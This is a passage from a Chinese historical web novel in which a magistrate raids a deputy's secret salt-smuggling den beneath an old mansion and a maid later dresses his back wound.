云莺也差点被入口的糕点齁到,这糕点甜的过分,还硬邦邦的。可能是剩了几天的糕点,总归非常费牙口,评价起来就四个字“难以入口”。 因为糕点过于难吃,好不容易缓和下来的气氛又僵硬了。 三人神色各异回了府,一道去丁姑姑那里说了声,随后各回各屋。 丁姑姑见几人神情不愉,就叫人过来打听了打听。 明白了前因后果后,丁姑姑也忍不住头疼的捂着了额头。 秋宁和木槿都够小性的,而云莺,从今天的事情来看,玩心有点重。 总共四个丫鬟,琢磨来琢磨去,丁姑姑还是觉得瑞珠最得体稳重。 恰瑞珠拿着上午交给她的账本过来了,丁姑姑忙招手让她来坐。 瑞珠很是本分恭谨的行了礼,这才在丁姑姑身旁坐下来。随后笑着将账本交给丁姑姑,“上月的账我都核实了一遍,整体来说没什么大问题。” “那就是有小问题了?”丁姑姑问。 瑞珠迟疑片刻微颔首,翻开面前的账本说,“是物价方面。同样的绫罗,这月的价格要比上月贵上两层,再有就是面粉,似乎也比上月的贵上许多……” 瑞珠很委婉的问:“姑姑,可是北方遭了灾,导致物价上涨?” 丁姑姑用赞赏的眼神看着瑞珠,说的话却不是那么回事儿。 “那倒是没有。” 丁姑姑仔细给瑞珠解释其中缘由。 原来绫罗上涨,全是因为天气变冷,河道开始结冰,维护和修缮的费用增高。是以运河两侧,税课司所收的赋税有所上调。凡从从运河上经过的船只货物,都要比上月多交一层税。 至于精面涨价,是因为她摒弃了从定州府运来的面粉,而选了蕲州府所产的精麦面粉。 定州府位于大夏腹地,岭南府所需面粉大多从那里进购。但面粉质地略粗,口感不够劲道细腻。 丁姑姑说:“二爷来了云归县后,吃用上多有不适,比在京中时消瘦了不少。”也是因此,丁姑姑才大费周章,特意让人进购了蕲州精面来。 蕲州位于大夏西北边境,那里所产的面粉粉质细腻洁白,劲道爽滑,麦香浓郁,乃是京中诸多豪门勋贵一直选用的。荣国公府吃用的也一直是蕲州的面粉,二爷吃惯了这种粉质,许是之后能多用些饭食? 丁姑姑一心为二爷考量,瑞珠免不得多敬佩上几分,说“还是姑姑用心,有姑姑照应,想来二爷之后能多用些饭食。” 丁姑姑谦逊几句,随后免不得多说几句二爷在饮食上的忌讳和偏好。 瑞珠不着痕迹的捧着,丁姑姑兴头越高,说的就越多。 末了,丁姑姑不知道哪里来的兴致,就道:“这样吧,从下个月开始,这后宅的事儿,你看着打理吧。” 话一出口,丁姑姑心里就顿了一下,似乎觉得这话说早了,但这也是她早就考量过的事情。 丁姑姑觉得自己一直统揽着所有事儿,只让几个丫鬟打下手,那也看不出她们的能耐。还是得放开了手,让她们亲自试一试,才能看出这几个丫鬟有没有本事,将后宅这一摊子事儿,打理的妥妥帖帖。 而不管是从出身上,还是个人的能耐品性上,丁姑姑更属意让瑞珠接手,所以就让瑞珠先试试看。若她真是管的好,那其余三个也没有上手必要了。 心中有了决断,面对着瑞珠不敢置信和惊喜交加的双眼,丁姑姑就淡定了。 “就你吧,你先试试。实在不行……” 瑞珠:“还请姑姑放心,瑞珠一定竭尽所能将事情打理妥当。若不行……愿听姑姑处罚。” 丁姑姑:“我处罚你做什么?顶多是免了你的差事,以后再不让你插手罢了。多说无益,你且好好管着,真要是有什么不妥,我也会提点着你。” 瑞珠:“多谢姑姑,多谢姑姑。” 说定了瑞珠管事的事情,丁姑姑就打发了瑞珠回去。她则起身,准备往前院去一趟,和二爷说一说这个事儿。 这事情也不是什么大事儿,但丁姑姑考量着,总归要告诉二爷一声才好。也是隐晦的提醒二爷一声,后院还有四个姑娘呢。 这么些天二爷没撵人,丁姑姑就觉得,许是二爷对云莺的美色有些意动,不想撵他们回去了。 如此当然最好,不过若真是她会错了二爷的意……那就再看看。 可惜,丁姑姑到前院后,并没有见到二爷。 倒是碰到了行色匆匆,恰好回府的随云。 丁姑姑有分寸,不会打听二爷在外边的事儿,但二爷回不回府用晚膳,她总要问上一声才好让厨下准备。 丁姑姑开口问了,随云就回说:“姑姑别折腾了,二爷今天不在府里用晚膳。”临走时又添了一句,“姑姑该休息就休息,二爷今晚大概率不回了。” 041 夜探 瑞珠被丁姑姑委以重任的消息,后院云莺三人很快就知道了。 秋宁对此自然是有异议的,她也不顾天黑,扁着嘴巴就来寻云莺。全然忘记了她还在和云莺闹别扭,且打定主意最起码要晾云莺一个月的事情。 云莺有一下没一下的翻着手里的话本,一边漫不经心回应秋宁的抱怨不满。 秋宁说了许久,没见云莺回应些实在的话,就更不满了。 “你到底有没有听我说话啊?” 云莺:“我在听啊,你不就是觉得丁姑姑偏心瑞珠么?那怎么弄,我也没办法让丁姑姑把心偏过来啊。” 秋宁被噎了一下,哼哼唧唧说:“我就知道,丁姑姑念着瑞珠好歹也算荣国公府的人,到底是对瑞珠另眼相看几分。别看之前一块管事的时候,丁姑姑还夸咱们学的快、脑子活络,可真要定下管事的人了,丁姑姑绝对想不到我们。谁让咱们三个出身不好,还一天到晚就惦记着出去耍,全然不顾大体,不够稳重,丁姑姑能越过瑞珠把这么好的差事交给我们,那才见鬼了。” 云莺:“……” 秋宁:“说来说去,还得是瑞珠心思重。这种讨巧卖乖的事儿,咱们是不会做,也就她,哼,果然是伺候人的,就是会揣摩上边的心思!” 云莺:“……” 秋宁:“如今我就盼着二爷赶紧回府,撤了瑞珠的差事。不然,以后真让她管了后宅,你看瑞珠能不能把脑袋抬到天上去。” 云莺陡然插话,“二爷没在府上?” 秋宁:“没有吧。说是丁姑姑去寻二爷的时候,恰好碰到随云,随云说二爷今晚上不回府了。你怎么关心起二爷的行踪了?难道你也盼着二爷赶紧撤了瑞珠的差事?” 云莺:“……” 秋宁唠叨了好大一会儿才离开,徒留下云莺自个对着满室清寂,一时间还有点不习惯。 很快到了休息时,云莺洗漱过后躺在床上。 窗外月光皎洁,淡淡的芙蓉花香飘溢进来。 满室都是清淡的花香味儿,就像处在烂漫的花丛中一样。 云莺的身体飘飘然,像是躺在了云端上,似乎下一刻就会陷入深沉的睡眠中。但她的精神却亢奋不已,丝毫没有睡眠的意思。 云莺忍不住在脑海里琢磨:二爷今晚不回府,不会是连夜进了那密室了吧? 云莺觉得自己八成猜中了,事实却也如她所想。 陈宴洲早早部署妥当,待得夜深人静,觑着时机就进了密室。 这些时日,尚宅上上下下的防守都很严密。 当值的下人以前巡逻也不过是做个样子,还是新县令上任后,他们才开始紧锣密鼓的防范起来。 随着范县丞落马,如今这边防范的愈加紧密。单是夜晚值守的人手,就增加倒五、六十。可以说,几乎每个犄角旮旯都有人蹲守,外人但凡闯入,就必定有来无回。 也就在这种严防死守下,陈宴洲进入了密室中。 那密室过于严密,应该从未被人打开过。从楼梯上往下,处处都漂浮着灰尘。 陈宴洲带着随云与墨雪进入其中,三人穿着夜行衣,手中拿着照明用的火折子。他们步步小心,谨慎的试探着不知在哪里的出口。 黑暗的通道将一切动静都放大,漆黑的暗道中,只有三人微不可闻的呼吸声,其余再无其他。 走了足有半刻钟时间,隐约有烛光照射进来,墨雪先一步将火折子熄灭,随后三人从石门透出的点滴缝隙,看见了外边的场景。 那是个非常轩朗的大厅,石壁上放着燃烧着的火把,将整个大厅照的亮如白昼。也是火把燃烧发出的噼啪声,掩盖了周围细碎的动静,让他们的举动都不至于被发现。 大厅最中心位置,放了一张石桌、几张石凳,以及一张躺椅。 如今,范县丞就坐在那躺椅上,另有一个神色憨厚的老者,紧挨着他坐在石凳上。 两人非常小心,即便是在无人的环境中,他们说话依旧贴着彼此的耳朵,堪称谨慎至极。 可惜,他们的种种防备,在面对功夫过硬的高手时,也没多大作用。 陈宴洲几人毫不意外的,从他们口中,听到那个重点的字眼——私盐! 随后,又听他们如何安排运送,货款收多少,如何分成,以及如何避过另外三人的耳目,将其中一部分占为己有。 他们自然也提及了陈宴洲,对与此人,范县丞恨的咬牙切齿,但不到最后时刻,他不愿意动此人。 范县丞:“若要他性命,怕会引来天使,还会惹来荣国公大怒,届时我们九族俱灭都不够平上边的怒火。” “可他步步紧逼,似乎已经查到了盐场。” “查到又如何?盐场的人与我们同流合污,供出了我们,他们也是死路一条。若有万一,”范县丞做出一个抹脖子杀人的手势,“真到了那一步,杀了就是。” “还有灵渠村……” “那边的井盐照收不误,只是稍后需你过去一趟,让他们之后行事再多几分小心。虽说法不责众,但灵渠村俱都参与贩卖私盐,到底是大罪。不查出来且罢了,真查出来,阖村的人下狱,也不是不可能。” …… 夜越发深了,整个大地似乎都陷入沉睡中,只有蝉鸣虫吟轻轻的在耳侧回荡。 天将亮未亮时,似有几道黑影从尚宅窜了出去。 负责监视的人揉了揉惺忪的睡眼,不敢确定刚才是不是自己眼花了。但尚宅中早就布下天罗地网,怎么会有人越过这种种布防,闯到这中央区域来,还能安然无恙逃出去……指定是他眼花了。 这一晚风平浪静,翌日又有变故传来。 先是陈二得了衙门的回音,衙门不准备贩卖尚家的老宅了,说是县太爷另有他用。 陈二还指望着从这笔买卖中大赚一笔,如今眼瞅着到手的鸭子飞了,他整个人都暴躁了。 可惜,县衙不是他能放肆的地方,陈二再怎么懊恼,也只能给管事的吏员塞银子,打听究竟是怎么回事儿。甚至,他还想着,不行他少拿些佣金,总归一定要让他做成这单生意。 然而,吏员拿了银子,却只给出个不算解释的解释:“县令大人下的令,咱们哪敢去问个一二三?咱们没那个脸面,也没那个本事。你啊,这单做不成,那就换一单么。收归县衙的宅子、铺子多的是,你再去卖别的也成啊。” 042 动手 陈二心塞的简直无法用言语来形容,偏就在他心火旺盛、气的手脚颤抖时,又有人找上门来,说是要买尚家的宅子。 那人见陈二一直不说话,还以为陈二是想拿乔。 好在他来之前,就得了指示,当下就和陈二说,价钱不是问题,只是主家要的急,还望今天就能将此事办成。 陈二听到这里,心里更崩溃了。他面目都狰狞起来,恨不能杀人。 最后,陈二强颜欢笑着给人解释清楚了原委。来人一听尚家的宅子不卖了,当即变了脸色,随即火烧屁股一样跑了出去。 吴世勋得到消息后,心中自然咯噔了两下。他唯恐是新县令已经查到了尚宅去,便有些心乱如麻。当即从密道过去尚宅,不想正遇到岐叟往外走。 岐叟便是那位身材干瘦,面目却憨厚的老者。 吴世勋见到这老者,忍不住便微眯起双眸,笑呵呵打招呼说,“岐叟这是往哪里去?” 岐叟:“去灵渠村一趟,有些事情要叮嘱那些人。” 吴世勋微颔首,又问岐叟:“岐叟昨日没回去么?” “回去了,只是夜半收到消息,说是有生人查到盐场去,我不放心,便过来寻大哥拿个主意。” “大哥怎么说?” 岐叟:“你去问大哥吧,我还有要事做,这就先走一步。” 岐叟匆匆离去,吴世勋看着岐叟消失在密道深处,这才收回视线,去寻范县丞了。 范县丞得知尚宅不卖了,一双眸子顿时眯成了一条缝。 他双手盘着核桃,那手动的颇快,让人一眼就知道,他此时心绪非常不宁。 良久后,范县丞招人来,与他耳语几句,那人便火速离开。 半个时辰后,那人终于回来,带来了范县丞和吴世勋都迫切想知道的消息。 原来尚宅之所以不卖了,是因为尚家的后人冒出来了。 一大早就往县衙递了状纸,说是之前的案子判的冤枉,尚家的百十口人,死不瞑目。 官府收了尚家后人的状纸,有关尚家的一些家业,就不好再贩卖了。 吴世勋和范县丞听到这话,俱都蹙紧了眉头。 吴世勋问:“尚家还有后人?当时不是都死干净了么?” 范县丞微颔首;“尚家本家的人,都是我亲自监斩的,这事儿错不了。” “那怎么还有尚家后人冒出来?莫不是当时有漏网之鱼?” 范县丞:“这不好说……兴许是当初判了流刑的那些人中,有人回来了。” 吴世勋想问,被判了流放的大多是女眷,即便有几个男丁,也都不成气候。且路上又被他们杀了一波,逃出生天的不过二三。而那两三个,与尚家的关系已经有些疏远了,即便侥幸活到流放之地,他们怨恨尚家牵连他们都来不及,又如何会替尚家伸冤。 再来,既是被判了流刑,等闲又岂可回乡?是立了大功,还是碰上大赦?大赦不可能,立功么……这可说不准了。 不过眼下不是追究这些事情的时候,吴世勋就道:“无论如何,这宅子总归不安全了。若尚家真被平反,很难说这地下的地道不被人发现。依我看,咱们是不是趁事情还在可控范围内,提前换个地方?” 范县丞闻言看了眼吴世勋,随即微阖起双目。 他也知道此时换地方最好,毕竟他们的交易见不得光,若被发现,九族都要被牵连。 但尚家这地方他们经营有十多年了,地下这片空间更是四通八达。 这城里一切都在他的控制内,反倒是城外,那是吴世勋与赵雄的地界。 若真将交易地点转移到城外,怕是距离他的死期也不远了。 念及此,范县丞开口说:“事情还没到那一步,且等等再说。为今之计,派人去查一查那回来告状的具体是谁。能杀就杀了,届时一切困难都会迎刃而解。” 吴世勋沉沉看着范县丞,说出口的话倒还算恭敬,一口就应下了这事儿。 随即他又若无其事的问起,方才岐叟提及的盐场的事儿可棘手。略磨蹭了一个时辰,便起身离开了。 待得吴世勋的脚步声再听不见了,范县丞又招手唤来了亲信,耳语吩咐了许久时间,才挥手让那人去办事。 尚宅的一切动静,都进行的悄无声息。 但随云几个,早在锁定了尚宅后,就将这周边地界一寸寸过了一遍。 密道的出口他们也找到了几个,每个出口都派人严密监视着。如此,虽不知道密道中又进行了什么密谋,然只盯着在密道中进进出出的人,跟紧了他们的行踪,他们的后续计划也就猜个八九不离十了。 就在这种紧锣密鼓的监视中,终于到了此次的交易时间。 一大早范县丞心中就鼓噪难安,。 好在外边风平浪静,始终没有不好的消息传来。 一切都按计划进行,可他依旧眉眼横跳,仿佛下一瞬就有血光之灾。 好在交易最终顺利的完成,范县丞心中略松了一口气。 此次交易数额巨大,是他抱着想捞最后一笔的心思,特意让人多备了货。做完这一笔,他少不得要收手消停个几年。不过,要想将这两箱子金子都弄到自己荷包,少不得要清理下障碍。 范县丞不着痕迹的扫过在场几人。 岐叟是自己人,吴世勋和赵雄不能留,娇娘左右逢源,看似浪荡风流,其实心狠手辣。再有就是买方那几个一身鱼腥味、长相并不出挑的男人…… 这几人不能得罪,只能等他们离去。 而这几个满身鱼腥味,长得其貌不扬的买方,比之范县丞几人更谨慎。 尽管已经交易了十多年,可他们丝毫没有放松警惕。一一验过货后,确定再没有疏漏,诸人将东西搬走,随即便火速消失在茫茫夜色中。 尚家的老宅就处在城郊,距离城门口不过几步之遥,但出城并不是必须要经过城门,盖因为就在尚家宅子后不远处,就有一条云通河。 云通河中水网密布、河脉四通八达,进入云通河中,追兵万千也难追。 然而,还未等一行人上的船舱,周边突然传来喊杀声,一行人一看中了埋伏,顿时喊了一声“不好,中计了!”随即瞠目欲裂,将手上的麻袋一丢便跑。 但他们早就被人团团包了饺子,此时再跑哪里跑得掉。即便有几个胆大的投了水,想从水路走,也没料到水里还有一张大网,他们直接投到网里,被抓了个正着。 这边厮杀声震天,尚宅下的范县丞等人很轻易便被惊动了。不等上边值守的下人过来回禀,诸人已经知道他们中了计。 一时间,也顾不上去追究,究竟是谁引来了追兵,众人抢了两箱黄金,抱着就想跑。 也就是逃跑过程中,范县丞感到身后传来裂骨的寒意。他条件反射一个侧身,倒是躲过了那致命一刀。 可别看赵雄其貌不扬,却自有一身好刀法,眼见着一刀不中,举刀再次朝范县丞劈来“人走可以,把金子留下!” 范县丞躲避不及,眼看就要被懒腰截断,也是此时,有人扑过来推了他一把,“大哥快走!” 范县丞回首看了一眼,正见岐叟死死抱住赵雄的腰,赵雄举刀将岐叟捅了个对穿。 他那双发紫的嘴唇抿的死紧,眼眸中泛着狠毒,见他拐过一道弯就要消失在眼前,赵雄将那把血淋淋的刀一把从岐叟身上抽出来,而后狠狠朝他甩过来。 范县丞本就没养好伤,此时腿脚一软,整个人瘫倒在地。最后关头是娇娘拉了他一把,两人才侥幸逃过这一死劫,很快消失在九曲十八弯的地道中。 043 跟我走一趟 这一夜厮杀声震天,距离尚家近的百姓家大多听到了动静。他们还以为尚宅又开始闹鬼,吓得一家子聚在一起,堵死了房门在屋内瑟瑟发抖。 云莺也是第二天一早起来,去给丁姑姑请安时,才知道云归县昨晚上发生了什么大事儿。 范县丞的老巢被找到了,范县丞贩卖私盐被抓了个正着,官兵昨晚抓到不少人,连买方带卖方,足有百十余,立了这么大功,二爷这次可算是有拿得出手的政绩了。 丁姑姑非常欣慰,光洁的面颊上都笑出了褶子。可笑过后,丁姑姑又绷起脸,说那范县丞,“果然是个狡猾的,最后竟被他跑了。” 云莺纳罕:“被他跑了?” “可不是。听说那密道四通八达,单是出口就有十几个,二爷派人围着尚宅,在城外找到了不少出口,可想也知道,指定还有些出口就在城内,指不定就在那几人私下买的宅子里,哪能一下都找出来哦。” 云莺已经猜到,范县丞几人的老巢,应该就在尚宅底下,但瑞珠几人可不知道。也是因为不知道,她们听丁姑姑这话,就跟听天书似的,忍不住问丁姑姑,“怎么出口还四通八达了,又不是兔子洞,那出口难道天上地下到处都有?姑姑您说清楚,二爷究竟是在何处抓到那帮子匪人的?” 丁姑姑一拍大腿,“呦”了一声,这才想起,忘给几人说尚宅底下的地道了。 等丁姑姑给几人科普过,又给几人说,尚宅附近的百姓昨晚被惊的不轻,好在是虚惊一场,不然今天怕是他们都要卷铺盖去亲戚家避一避,这话也是让人哭笑不得。 笑过一番,又说起那抓捕匪人的事儿,丁姑姑唏嘘感叹,“那范县丞可太贼了,留了个忠肝义胆的兄弟替他挡刀,他倒是抱着一匣子金子跑没影了。” 瑞珠问:“就范县丞那种人,还有人替他挡刀?” “那乞丐还有三个好兄弟呢,范县丞怎么就没个忠心的兄弟下属了?” 丁姑姑说,“不过那也是个可怜人,听说叫岐叟还是啥。据说是在私塾读书的儿子,被这县里的混混推到河里淹死了。他们一家子来讨公道,那混混死不承认,还愚弄他们玩乐。他老父当场被气死了,老母与发妻与人动手,都伤的不轻。老母回家没撑几天也离世了,发妻更惨,听说是撞到了脑袋,人都傻了。这岐叟受不住,趁那三个混混喝醉,拿菜刀砍了他们的脑袋,随后到县衙自首。他被判了死刑,是范县丞找了个老乞丐来替他出狱,这之后,那岐叟就跟着范县丞了。” 不仅救了这岐叟,范县丞甚至还安顿好岐叟那发妻,岐叟感恩戴德,可不就把命卖给范县丞了? 话又说回来,他这命本就是范县丞给的,卖给他也不冤。 只是不管是找老乞丐来替死,还是贩卖私盐,这都是砍脑袋的事情。 只死一个岐叟可不够,范县丞借由职务之便目无法纪、恣意妄为,这次将他的罪定死了,全城张榜公示缉拿凶犯,就不信范县丞还能逃过去。 云莺正出神,就听丁姑姑又开口,“那岐叟可没死,据说还剩下一口气,如今被大夫吊着命,听说只要撑过今天就没大碍了。唉,为了吊他的命,二爷还派人回府来拿参。我可不舍得将那百年老参给出去,那是夫人给二爷准备的。不过几根参须就够了,足够吊他的命了,要不是看他对二爷还有用,我连这几根参须都不给……” 丁姑姑正絮絮念着,就听门外丫鬟喊,“二爷回府了。” 一时间众人无暇再说其他,赶紧走出花厅。 她们才刚到花厅外边,二爷已经大步走了进来。 这也是自那日尚家一别后,这半月来,云莺第一次见二爷。 二爷着一身黑色劲装,头戴金冠,脚踩墨靴。全身上下除了那金冠之外再无任何装饰,可却愈发衬托的二爷面部轮廓棱角分明,身材笔挺,矜贵雍容。 可就是如此矜贵雍容的二爷,此时眸色阴冷,面上如同覆盖了一层寒冰。 正欲走近的几个人,被二爷一个冷眼扫来,登时脚步一停,再不敢上前去。 丁姑姑心跳也有些快,她也觉得二爷此时的表情骇人的厉害,可还不得不强撑着淡定,上前问二爷:“您可用过早膳了?可需要洗漱?可用下人过去伺候?” 陈宴洲冷冷的回了一句“不用”,他大步迈出,眼瞅着将要从几人身边走过。 云莺垂着头,不敢看二爷此时难看的脸色。 她八成能猜到二爷此时脸色这么难看的原因,肯定还是和范县丞几人的逃跑脱不开关系。 不过这事情若搁她身上,她也会很暴躁。 明明从半月前就开始做各种准备,结果临到头了,还是让人跑了,这换谁不得郁闷啊。 云莺正这么想着,就听一道冷风与她擦肩而过,她赶紧将头垂的更低一些。 二爷走过去的瞬间,云莺轻轻嘘了一口气,没被二爷点名好快乐。 “云莺!” 云莺慢吞吞抬起头,就见二爷正微眯着眸子盯着她看,云莺轻轻舔了舔因为紧张而变得干燥的嘴唇,后知后觉的回应,“怎么?” “跟我走一趟。” 二爷丢下这句话,转身往院子里走去。 这边云莺还没彻底回神,丁姑姑已经焦急的推了她一把,“哎呦我的好姑娘,你还磨蹭什么?二爷今天心情差,你倒是走快点跟上啊。” 秋宁也阴阳怪气:“云莺姐姐可快点去吧,不然二爷等不及了。” 瑞珠和木槿没说话,但看着云莺的眼神颇有些意味深长。说忌恨吧有一点,说幸灾乐祸吧,似乎也说的过去。 丁姑姑见云莺一动不动,又催她,“可别再磨蹭了,不然二爷怒气上来,咱们都得遭殃。” 云莺“哦”了一声,快走几步跟上去。可直到此时她脑袋还是懵的,并不清楚二爷唤她过去干什么。 二爷进了院子,墨雪不知何时回来,已经张罗好了热水与一应可能会用到的东西。 他上前低语两句,二爷一边低声应着,一边继续吩咐说:“他们出不了城,且沿着密道各出口仔细搜。另让人敲锣打鼓沿街宣讲,但有知情上报者,官府重赏。” 墨雪闻言便退了出去,临出门看见站在院子里的云莺,墨雪也愣了一瞬。 但也只是一瞬,稍后墨雪冲云莺微颔首,又交代她,“二爷后背有划伤,辛苦姑娘一会儿帮二爷包扎一下伤口。” 云莺:“我……” 墨雪:“劳烦姑娘了,我们兄弟几人脱不开身,二爷又不耐烦别人伺候,劳姑娘辛苦这一次,我这厢先下去了。” 云莺还待说“我难道就不是别人了?”可这话还没说出口,墨雪就不见了踪影。 云莺在门口磨磨蹭蹭,最终还是一咬牙,一狠心,硬着头皮进了屋。 净室里传来轻微的撩水声,云莺想到那位二爷此时正赤身裸.体在净室沐浴,便脸热耳红,忍不住便轻撇过头,看着门外的景色,心里一千一万个不自在。 正在她想着,要不先出去躲躲,等二爷唤人了再进来,冷不定就听里边的人开口说:“拿一身换洗衣衫进来。” 云莺意识到这话是对她说的,顿时手都一抖,良久后才慢吞吞“哦”了一声。 可净室里的人显然已经等不及了,开口催促说:“你属乌龟的?动作快一些。” 云莺再顾不得想七想八,赶紧往内室寻衣柜。 等从衣柜中挑选了合适的衣裳,云莺又脚步匆匆往净室走。 可她脚步却越走越慢,直至站在门口再不敢挪动半步。 那位二爷再次忍不住了,冷冷的唤了一声“云莺!”声音中凭空多出几分不耐和烦躁。 云莺一哆嗦,一捏拳,闭着眼睛就走了进去。 等她睁开眼,却见眼前正立着一扇比她还高出一些的四扇开屏风。屏风上绣着四时花鸟,绣娘技艺高超,连那蜂蝶的触须都清晰可见。 舒尔“哗啦”一声水响,二爷从浴桶中起身,云莺听着声音头皮一麻,浑身的鸡皮疙瘩都起来了。她在顾不得其他,将那身衣裳往屏风上一搭,整个人来不及多说什么,便撒丫子逃了出去。 044 上药 云莺面红耳赤,此时心跳快的似乎要从嗓子眼里蹦出来。 她走到了窗前,轻拍着脸颊,希望脸上过高的温度能快些降下来。然而,好似并没有什么作用。 云莺心中略恼,正想去取些冷水过来,往脸上敷一敷,就听见有稳健的脚步声从净室而来,朝着她的方向逐步靠近。 云莺抬头去看,就见二爷穿着一身雪白的中衣,三两步就走到了她跟前。 他头发披散着,上边还在滴着水,刚沐浴过的面颊冷白似玉,剑眉星目更加湛然。加上他步子迈的大,身上带了些随性散漫,衬得他整个人少了几分稳重,倒是比往日多了几分浪荡不羁。 也似乎是沐浴过心情平静下来,二爷此时的面色好看许多。虽然依旧绷着脸,看起来如同佛龛中的圣子一般高不可攀,但让人畏惧的阴冷气息却不在了。 云莺的思绪被打断,二爷直接将一块雪白的巾帕丢在她怀里,“过来给我绞发。” 云莺收回视线,不情不愿的“哦”了一声。 这一声情绪不要太明显,以至于二爷都忍不住侧首过来看她一眼。 他轻抿着唇,眉眼上挑,五官轮廓在此时都多了几分锋利,“怎么,我使唤不动你?” 云莺赶紧摇头,可不敢这时候给二爷添堵。 二爷之前不定吃了多少气,虽说他现在看似很平静,但谁知道他心中的邪火压抑的太久,会不会一有机会就爆发。 她是有多不长眼,才敢现在忤逆二爷,给二爷当出气筒啊。 云莺一边拿着巾帕给二爷绞发,一边表忠心说:“奴婢是您的丫鬟,能伺候您奴婢三生有幸。” 陈宴洲轻“呵”一声,根本不信她的胡扯。 云莺继续道:“只是如今天气见凉,奴婢看您只着中衣,外衣却没穿,担心您着凉……” 云莺还想问,我不是给您拿了外衣么,您怎么不穿?您就穿着中衣出现在我面前,未免也太不把我当外人了。 然而,她这些无厘头的想法还没想完,就陡然听到二爷的嗤笑声,“是我不想穿外衣?” “……二爷的意思是?” 陈宴洲:“我是狮子老虎,还是吃人的妖魔鬼怪?你跑的倒是快,你有本事倒是把衣裳放好了再跑。” 云莺:“……” 云莺不信邪,丢下手中的巾帕,快步走进了净室中。 净室中飘溢着潮湿的水雾,还有淡淡的皂角香气扑鼻而来。但这些都不是重点,重点是就在屏风另一侧的地面上,赫然放着一件云青色的外衣。 云莺将衣裳拿起来,果不其然见这件衣裳湿了一大片。 想想这浴桶紧挨着屏风,二爷方才沐浴时,有水渍溅出,他出浴桶时,更是带出了许多水,而她仓皇之下,直接将二爷的换洗衣衫搭在了屏风上……怕是根本没搭好,这衣裳直接从屏风上滑了下来。 这也不奇怪。 毕竟手中这件外衫,乃是上好的杭绸所制。杭绸上泛着珍珠般的光泽,入手轻薄爽滑,垂感特别好,尤其适合做外裳。 说这些就说远了,只说这衣裳湿了一大片,换她她也不穿,更别说二爷了。 二爷没因为她做事不稳重,将她教训上一顿,那都是二爷宽宏大度。 她这是祖上积德了,才摊上这么个好主子。她感恩都来不及,怎么能在心里絮叨二爷有暴露癖呢,她可真是太不知道好歹了。 自我反思了一遍,云莺惭愧的出了净室,径直往内室去。 陈宴洲冷眼看着她的一举一动,看她还算孺子可教的份儿上,二爷的面色到底是好看了许多。 很快,云莺拿了一件藏青色的衣衫从内室走出来。 她声音都柔和了几分,颇为殷切的唤了一声“二爷”,笑的小意温柔的说,“您起一起身,奴婢服侍您穿衣。” 二爷懒懒的看她一眼,“先放哪儿吧,一会儿穿。” “好的。” 云莺把衣衫放下,继续给二爷绞发。 二爷的头发乌黑如墨,触感顺滑,上边还有淡淡的皂角清香。 这香气混合着二爷身上似有若无的纸墨香,让人的心神都平静下来。 室内太过静寂,云莺有心打开话题,问一问范县丞以及私盐的事儿,垂首却见二爷正闭目养神。 这她那还敢打扰二爷? 赶紧闭嘴了事。 却不想,许是察觉到她的目光过于灼热,陈宴洲睁开了双眸。 他是典型的瑞凤眼,眼尾上翘泛起凌厉的弧度,整个人便显得矜贵淡漠起来。 此时他好整以暇看着云莺,那眸光过于深邃暗沉,面上的神色也有些寡淡,陈宴洲不紧不慢的道,“有什么就直说。” 云莺本来想说的,可看他这副模样,她那还敢说哦。 但二爷见她迟迟不说话,眉头反倒拧紧了,“难道还要我请你开口?” 云莺帮摆手,“我说就是。” 继而她理理思路,问说,“二爷您昨晚去尚家老宅捉犯人了是不是?” 陈宴洲等了许久,只等来这一个问题,再次闭上眼,轻哼了一声,“都知道了还问什么?” 云莺:“……” 云莺又问,“我听丁姑姑说,密道里四通八达,出口很多,除了岐叟外,范县丞以及其余几个参与贩卖私盐的犯人都跑了?” 陈宴洲又撩她一眼,“嗯”了一声。不过这次这声音就更冷淡了,像是不想提这事儿似的。 云莺不以为意,又说,“那岐叟审出来点什么了么?他不是和范县丞关系最好?从他嘴里,应该能得到范县丞都有哪些不为人知的落脚点吧?” 云莺话落,垂首看向陈宴洲。陈宴洲这次倒是不假寐了,反倒意味深长的看着云莺,“你这么关心这案子,会让我以为你和他们是一伙的。” 云莺:“……” 好样的!终结话题您真有一手! 云莺磨着牙,再不说话了。 好不容易将二爷的头发绞干,功德圆满她准备离开。结果视线下移,陡然就看见了一抹红。 这时候,方才墨雪交代她的事情,终于被她想了起来。 她忍不住捂住额头,就说总感觉忘了什么,原来是把这件事儿忘记了。 云莺一下子急了,“二爷您背后伤的重不重?您又流血了。您刚才还坐浴,要是伤口再发炎流脓可怎么是好?” 说着这些话,云莺将陈宴洲拉扯起来,“您去把上衣脱掉,我给您处理伤口。” 陈宴洲闻言看了云莺两眼,默不作声把上衣脱了。 她不提他还真把这事儿忘了。 话又说回来,刚才唤她过来,就是让她帮着上药的。结果思考着这件案子入了神,倒是把其余一些事情忘到了九霄云外。 陈宴洲坐直了身,一手轻敲着桌子,一边盯着云莺的背影入了神。 云莺端了墨雪准备好的托盘来,迎面就看见二爷白皙结实的胸膛。 他胸膛宽阔坚硬,几块腹肌隐隐可见。随着他的呼吸,胸膛上下起伏,那强健的肌肉线条就更明显了。 云莺完全没有心理准备,此时入目所见远远出乎她的意料。她登时就感觉到热意在脸上弥漫开来,整个人也不自在起来。 好在二爷没多话,人也算配合,云莺便利落的走到他身后,给他处理起伤口。 可才一看见那伤口,云莺就忍不住哆嗦了依下。 二爷的伤口正在后背正中的脊骨左侧,伤口足有婴儿拳头大小,而且看着就很深。此时那血洞中汩汩的冒出血来,就像是一只眼睛在流出血泪一样,看着就非常渗人。 云莺颤着声音问,“您是中了什么暗器了么,怎么会伤的这么厉害?之前我随您过来时,也没见您身上的衣裳破损,您是回来之前上过药换过衣裳了么?” 陈宴洲“嗯”了一声,随着云莺的手轻触到他沁凉的肌肤,他忍不住身子绷紧,嗓子喑哑,思绪紊乱。 陈宴洲闭了闭眼,转移注意力说,“除了抓了一个岐叟,这次还抓了另一个活口。” 云莺不知道他怎么突然提起这事儿来了,刚不还懒得与她多说么? 但她还真好奇那活口是谁,就问,“还抓到谁了?怎么我没听丁姑姑说起?” 陈宴洲道:“抓了汇通镖局的赵雄。他是范县丞的同伙,使得一手好刀法,一手暗器更加出神入化。只是瞒的深,就连他身边人,也显少知道他还留了这一手。” 045 嘴巴紧点 云莺露出恍然大悟的神色,看来二爷就是冷不防被这赵雄伤了的。 不过赵雄这个人,她还真知道,甚至还听说了不少有关他的传言。 传言中这人虽然其貌不扬,为人阴毒,但却颇有女人缘。又因为他一身功夫颇为出众,且悍不畏死,他经营的汇通镖局生意红火,在这云归县名声赫赫。 那之前被范县丞绿了的钱程所 